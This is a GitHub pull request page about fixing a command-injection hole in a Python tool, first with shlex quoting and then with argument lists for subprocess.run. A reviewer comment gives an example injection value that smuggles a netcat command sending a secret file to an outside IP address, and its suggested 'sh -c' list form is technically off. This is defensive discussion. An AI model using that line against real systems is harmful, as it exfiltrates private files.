fix: sanitize user input to guard against possible cmd injection #144
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This change makes use of the `shlex` module to `quote` the parts of any command line that can possibly come from user supplied input. The command line is then `split` with the same module to ensure proper and sanitized tokenization when supplied to a `subprocess.run` call. The `shlex` module is only designed for Unix shells. The `shlex.quote()` function is not guaranteed to be correct on non-POSIX compliant shells or shells from other operating systems such as Windows. Therefore, the documentation and PyPI package classifiers were updated to make that operating limitation more obvious. Fixes #143
andreaphylum
previously approved these changes
Oct 14, 2022
There was a problem hiding this comment.
The overall approach and the diff look good to me.
While reading the code, I realized something, though I may be wildly off-base: could the same risk mitigation be achieved by specifying the arguments to subprocess.run as a list? IIRC, something like
user_input = "/etc/motd ; nc 1.2.3.4 5678 < /super/secret/file"
subprocess.run(["sh", "-c", "cat", user_input])should already prevent command injection, though it definitely looks way more verbose in the code.
I don't believe we should change the current solution, anyway, especially if it has some other advantages that I'm not aware of, but could be worth considering if it could help address the case of non-POSIX shells.
kylewillmon
requested changes
Oct 14, 2022
This change backs out the use of the `shlex` module to quote the parts of any command line that can possibly come from user supplied input. Explicit lists of command line arguments are used instead. Every element of each list is a single string, regardless of whitespace contained within. This is true for both static string literals and variables, whether they came from user input or not. Therefore, each element in the list will be considered a separate token/argument when supplied to a `subprocess.run` call. Every instance of `subprocess.run` was reviewed and updated to this new format. Fixes #143
kylewillmon
previously approved these changes
Oct 17, 2022
The `shlex.join` method was introduced in Python 3.8 so the TODO comment reminders are tied to the issue to drop Python 3.7 support.
kylewillmon
requested changes
Oct 17, 2022
The `shlex.join` method turns out to be a one-liner that can easily be inlined in the current code base.
kylewillmon
approved these changes
Oct 17, 2022
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This change backs out the use of the
shlexmodule to quote the partsof any command line that can possibly come from user supplied input.
Explicit lists of command line arguments are used instead. Every element
of each list is a single string, regardless of whitespace contained
within. This is true for both static string literals and variables,
whether they came from user input or not. Therefore, each element in the
list will be considered a separate token/argument when supplied to a
subprocess.runcall. Every instance ofsubprocess.runwas reviewedand updated to this new format.
Fixes #143
Checklist
closes #<issueNum>in description above)?Have you created sufficient tests?Screenshots
The same sequence of commands as outlined in #143, but this time with no program halt or stack trace displayed: